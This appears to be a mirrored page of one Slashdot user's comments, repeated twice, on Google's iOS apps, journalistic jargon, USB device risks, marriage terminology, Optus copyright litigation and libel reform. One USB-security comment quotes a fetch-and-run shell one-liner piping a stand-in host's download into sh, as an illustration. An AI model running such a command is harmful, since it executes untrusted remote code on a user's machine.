You are ignorant of the subject at hand. Google has almost completely ignored iOS
On my iPhone I have the "Google" app, Google Authenticator, Google Translate and Chrome.
I could also have a Google+ app, a GMail app, Google Earth, Google Latitude and Google Books. (I personally can't get Google Voice because it isn't available in the Australian iTunes store).
No, Google just care about eyeballs and will work to get them.
They will write Exchange plugins to work with Gmail.
They will buy Exchange related technology to get Gmail to work 'properly' with iOS mail.
They will do what it takes to get a user, whatever platform the user may be on (for reasonably popular platforms of course).
They could have at least kept feature parity with Android, but the fact that iOS Maps app was neglected for years only made Apple react more strongly.
As I understand it the iOS Maps app was neglected by Apple, not Google.
It seems likely that Apple always intended to replace the backend service with their own and one might argue that "neglecting" the app was a good move in that regard. By keeping their users (which includes me) on technology that is probably 5+ years old it gives them a chance of replacing it without users complaining too much about feature regression.
Google's move hardly "reeks of desperation". Since when has Google done anything other than try and offer the best experience they can on any device?
So, based on those two reasons, the answer is "NO", the journalist's job in conveying the information to his readers includes translating jargon.
I think it is also their job to introduce jargon to the reader in an accessible fashion. The readers relationship with the information doesn't necessarily stop with the article, it can be a door to finding out more so introducing the jargon in an accessible way is useful.
Ever been to a doctor? Do you want him to tell you about your medical condition using jargon or clear language?
Again, I think you want both. You want both understanding and precision. My father in law has just had some sort of stroke like thing. We gather (he lives elsewhere) that it is not actually a stroke but something quite a bit like one. If we had the medical term a spot of research would get us up to speed. As it is we don't really know what his prospects are and may need to take him to a doctor again ourselves. The "jargon" has been translated for us by the person sitting between us and the expert but information has been lost in that process and we can't recover it because we don't have the jargon to refer back to.
The trouble with USB is that you don't know.
Let's say you plug in that "thumb drive".
Perhaps it turns out to be a "keyboard" that issues whatever the shortcut is for executing a command and sends something like:
All sorts of things could happen when you plug in a USB stick. Perhaps not too much of a worry in practice for Joe Schmo as doing it effectively would probably require a level of sophistication that would make it not worth while for a vague target but Linux does not magically make USB sticks safe.
I think this shows that you are thinking of it as an abstract concept rather than something that people will actually live and use.
If not what do you imagine people will say instead of "They got married on the weekend" or "Is he married?".
"They got civilly unified on the weekend".
"Is he in a civil union?"
Not in a million years is a real person going to say such a thing. In reality people will just keep use the perfectly good word we already have for the scenario, ie some derivative of "married".
It might seem like a reasonable sop to offer to the "definitionist" crowd but in reality it's an entirely illusory one (and as such a dishonest one).
You might argue that a distinction in law is different than a distinction in common speech but I'd argue that as a social construct it would make no sense (and in fact be harmful) for it to be called something different in law.
Them not having access to our culture would be no big deal.
On the other hand we would be fucked as they file patents on all the technology that they have that we don't and thereby hold a monopoly on all human technological progress.
There are plenty of EU antitrust rulings against EU (and other non-US) companies, your ignorance of them probably shows your bias, not theirs.
Astra Zeneca (a UK company) are up for 50 million euros.
Telefonica (Spanish) are up for 150 million euros.
Examples are not hard to find....
The "offer" is also rather moot given that Australian law would oblige them to take them back if they were not fit for purpose (ie connecting to a customers 4G provider)
If we accept that this is software used by a state for espionage then networks that aren't routinely connected to the internet in a fashion that allows direct contact with the control servers may be of more interest than ones that are and such automatic removal might not be desired.
Perhaps a military private network is compromised when someone attaches a compromised laptop to it. Perhaps information is then snuck out or instructions fed in on subsequent occasions that such a laptop is connected, sneaker-net style.
There is no doubt some truth to that but I think this could be seen as something that would boost margin on a "premium" product.
Oftentimes the exact same sauce (or toothpaste) comes in different bottles (not simply different sizes). Perhaps both a glass bottle and a squeezy bottle right next to each other on the shelf with the squeezy bottle being more expensive due to the "convenience". It's not hard to imagine these swanky bottles being used to achieve some price differentiation, extracting more money from people who perceive them (or themselves) as being worth the money while still offering basic bottles for the price concious.
I think a lot of Slashdot readers (me included) would be interested to get an introduction in various practical aspects of analytics, especially with Open Source tools we can experiment with ourselves. SlashBI could be a good gateway for that. So far every article I have read there has seems like a waste of time.
I think the question is reversed, what in the law gives them the right?
However, even if you do somehow stretch (1) and (2) to allowing Optus then 3(d) would probably take it away as Optus is distributing the recording from them to you.
If you borrow someones VCR?
Nothing wrong with that.
If you ask a third person to program it for you?
Probably not legal unless they are family or a member of your household.
Would you be allowed to lend the recorded Tape to a friend
Probably not legal.
I understand what Optus is doing now, what I don't understand is why they thought it was a good idea in the first place.
So unless you're employed by a big-media dinosaur you should welcome Optus putting the cat among the pigeons.
Bollocks, the only feasible outcome from Optus' being successful is more restrictive copyright law which is bad for everyone except the "big-media dinosaurs".
Such law has already been drafted and was ready to roll should Optus have won the last case.
Maybe not legally, though the law does specifically allow for lending within a household so there may be more wiggle room for that scenario than in Optus' scenario.
Broadcast rights are probably neither here nor there.
Copyright law gives me certain rights to make copies for home use. Optus is no more entitled to copy "on my behalf" than they are to vote on my behalf. Just because I can do something doesn't mean Optus can do it for me, even if the end result is roughly the same thing. The mechanism by which the end result is achieved is important because it's precisely the mechanism (ie the act of copying) that the law addresses.
I don't understand what Optus is doing. If they win then they will have no long term competitive advantage because their competitors could then do it too. It seems to be all risk with no real reward.
Worse still, not only are they risking themselves but they risk damaging regular people too. The law they are trying to use clearly intends to allow people reasonable rights for themselves in their own homes, not support commercial copying. If the court ultimately does somehow come down on their side (difficult to imagine but anything is possible) then it won't be long before copyright law is altered to close the loophole. Any change to the law (no doubt made with "industry input") to stop what Optus is doing might tread on peoples rights too. (Eg is the law specifically addressed transmission that might stop me legally being able to push content from my own PVR to my own phone).
Optus is no friend of the people here, they are just trying to make a quick buck.
This is a bad law because it grants extra rights for a group of people for no good reason.
In particular, English law already allows truth as a defense. If a peer reviewed article can't establish the truth of its claims in court then either (A) peer review hasn't worked in that case or (B) the court's standards are wrong.
I think, in practice, science is far messier than that. Papers advance theories which, though supported by the evidence at hand, still require further analysis and may ultimately be wrong. I think it is reasonable to protect the product of honest enquiry if it is done in good faith, even if it turns out to be wrong.
Also a good part of the libel reform agenda has been motivated by the financial costs of defending against libel claims and the chilling effect that has on those who may well have a defencible but cannot afford it (or the risk) and therefore back down.
I think the "Peer-reviewed statement in scientific or academic journal etc" part of the law doesn't really give a class of people more rights, it merely lowers the burden for a subset of defendants.
The same principles are available to everyone, ie the "Truth", "Honest opinion" and "Responsible publication on matter of public interest" defences. This additional defence just makes it easier (and therefore cheaper) to show a work that has undergone peer review has been published in accordance with those principles.
Slashdot Mirror
On my iPhone I have the "Google" app, Google Authenticator, Google Translate and Chrome. I could also have a Google+ app, a GMail app, Google Earth, Google Latitude and Google Books. (I personally can't get Google Voice because it isn't available in the Australian iTunes store).
No, Google just care about eyeballs and will work to get them.
They will write Exchange plugins to work with Gmail.
They will buy Exchange related technology to get Gmail to work 'properly' with iOS mail.
They will do what it takes to get a user, whatever platform the user may be on (for reasonably popular platforms of course).
As I understand it the iOS Maps app was neglected by Apple, not Google.
It seems likely that Apple always intended to replace the backend service with their own and one might argue that "neglecting" the app was a good move in that regard. By keeping their users (which includes me) on technology that is probably 5+ years old it gives them a chance of replacing it without users complaining too much about feature regression.
Google's move hardly "reeks of desperation". Since when has Google done anything other than try and offer the best experience they can on any device?
I think it is also their job to introduce jargon to the reader in an accessible fashion. The readers relationship with the information doesn't necessarily stop with the article, it can be a door to finding out more so introducing the jargon in an accessible way is useful.
Again, I think you want both. You want both understanding and precision. My father in law has just had some sort of stroke like thing. We gather (he lives elsewhere) that it is not actually a stroke but something quite a bit like one. If we had the medical term a spot of research would get us up to speed. As it is we don't really know what his prospects are and may need to take him to a doctor again ourselves. The "jargon" has been translated for us by the person sitting between us and the expert but information has been lost in that process and we can't recover it because we don't have the jargon to refer back to.
What you do in the privacy of your own home is none of our business.
Wait for the next OS update, I hear they have modified the volume control to go up to 11.
The trouble with USB is that you don't know. Let's say you plug in that "thumb drive". Perhaps it turns out to be a "keyboard" that issues whatever the shortcut is for executing a command and sends something like:
wget -q -O - http://naughty.com/ | sh
All sorts of things could happen when you plug in a USB stick. Perhaps not too much of a worry in practice for Joe Schmo as doing it effectively would probably require a level of sophistication that would make it not worth while for a vague target but Linux does not magically make USB sticks safe.
I think this shows that you are thinking of it as an abstract concept rather than something that people will actually live and use.
If not what do you imagine people will say instead of "They got married on the weekend" or "Is he married?".
"They got civilly unified on the weekend".
"Is he in a civil union?"
Not in a million years is a real person going to say such a thing. In reality people will just keep use the perfectly good word we already have for the scenario, ie some derivative of "married".
It might seem like a reasonable sop to offer to the "definitionist" crowd but in reality it's an entirely illusory one (and as such a dishonest one).
You might argue that a distinction in law is different than a distinction in common speech but I'd argue that as a social construct it would make no sense (and in fact be harmful) for it to be called something different in law.
Them not having access to our culture would be no big deal.
On the other hand we would be fucked as they file patents on all the technology that they have that we don't and thereby hold a monopoly on all human technological progress.
There are plenty of EU antitrust rulings against EU (and other non-US) companies, your ignorance of them probably shows your bias, not theirs.
Astra Zeneca (a UK company) are up for 50 million euros.
Telefonica (Spanish) are up for 150 million euros.
Examples are not hard to find....
Chairs with straps and eye-lid spreaders like in A Clockwork Orange.
Presumably there is risk associated with distance travelled and time spent travelling too.
The "offer" is also rather moot given that Australian law would oblige them to take them back if they were not fit for purpose (ie connecting to a customers 4G provider)
If we accept that this is software used by a state for espionage then networks that aren't routinely connected to the internet in a fashion that allows direct contact with the control servers may be of more interest than ones that are and such automatic removal might not be desired.
Perhaps a military private network is compromised when someone attaches a compromised laptop to it. Perhaps information is then snuck out or instructions fed in on subsequent occasions that such a laptop is connected, sneaker-net style.
Then I suspect there are no white people.
Perhaps you should go back and read what he is referring to, ie the "half-black bastard" bit.
There is no doubt some truth to that but I think this could be seen as something that would boost margin on a "premium" product.
Oftentimes the exact same sauce (or toothpaste) comes in different bottles (not simply different sizes). Perhaps both a glass bottle and a squeezy bottle right next to each other on the shelf with the squeezy bottle being more expensive due to the "convenience". It's not hard to imagine these swanky bottles being used to achieve some price differentiation, extracting more money from people who perceive them (or themselves) as being worth the money while still offering basic bottles for the price concious.
It's full of puff pieces and press releases.
I think a lot of Slashdot readers (me included) would be interested to get an introduction in various practical aspects of analytics, especially with Open Source tools we can experiment with ourselves. SlashBI could be a good gateway for that. So far every article I have read there has seems like a waste of time.
I think the question is reversed, what in the law gives them the right? However, even if you do somehow stretch (1) and (2) to allowing Optus then 3(d) would probably take it away as Optus is distributing the recording from them to you.
Nothing wrong with that.
Probably not legal unless they are family or a member of your household.
Probably not legal.
I understand what Optus is doing now, what I don't understand is why they thought it was a good idea in the first place.
Bollocks, the only feasible outcome from Optus' being successful is more restrictive copyright law which is bad for everyone except the "big-media dinosaurs".
Such law has already been drafted and was ready to roll should Optus have won the last case.
Maybe not legally, though the law does specifically allow for lending within a household so there may be more wiggle room for that scenario than in Optus' scenario.
There is no provision for proxy voting in Australia (federally at least).
Broadcast rights are probably neither here nor there.
Copyright law gives me certain rights to make copies for home use. Optus is no more entitled to copy "on my behalf" than they are to vote on my behalf. Just because I can do something doesn't mean Optus can do it for me, even if the end result is roughly the same thing. The mechanism by which the end result is achieved is important because it's precisely the mechanism (ie the act of copying) that the law addresses.
I don't understand what Optus is doing. If they win then they will have no long term competitive advantage because their competitors could then do it too. It seems to be all risk with no real reward.
Worse still, not only are they risking themselves but they risk damaging regular people too. The law they are trying to use clearly intends to allow people reasonable rights for themselves in their own homes, not support commercial copying. If the court ultimately does somehow come down on their side (difficult to imagine but anything is possible) then it won't be long before copyright law is altered to close the loophole. Any change to the law (no doubt made with "industry input") to stop what Optus is doing might tread on peoples rights too. (Eg is the law specifically addressed transmission that might stop me legally being able to push content from my own PVR to my own phone).
Optus is no friend of the people here, they are just trying to make a quick buck.
There's your problem.
I think, in practice, science is far messier than that. Papers advance theories which, though supported by the evidence at hand, still require further analysis and may ultimately be wrong. I think it is reasonable to protect the product of honest enquiry if it is done in good faith, even if it turns out to be wrong.
Also a good part of the libel reform agenda has been motivated by the financial costs of defending against libel claims and the chilling effect that has on those who may well have a defencible but cannot afford it (or the risk) and therefore back down.
I think the "Peer-reviewed statement in scientific or academic journal etc" part of the law doesn't really give a class of people more rights, it merely lowers the burden for a subset of defendants.
The same principles are available to everyone, ie the "Truth", "Honest opinion" and "Responsible publication on matter of public interest" defences. This additional defence just makes it easier (and therefore cheaper) to show a work that has undergone peer review has been published in accordance with those principles.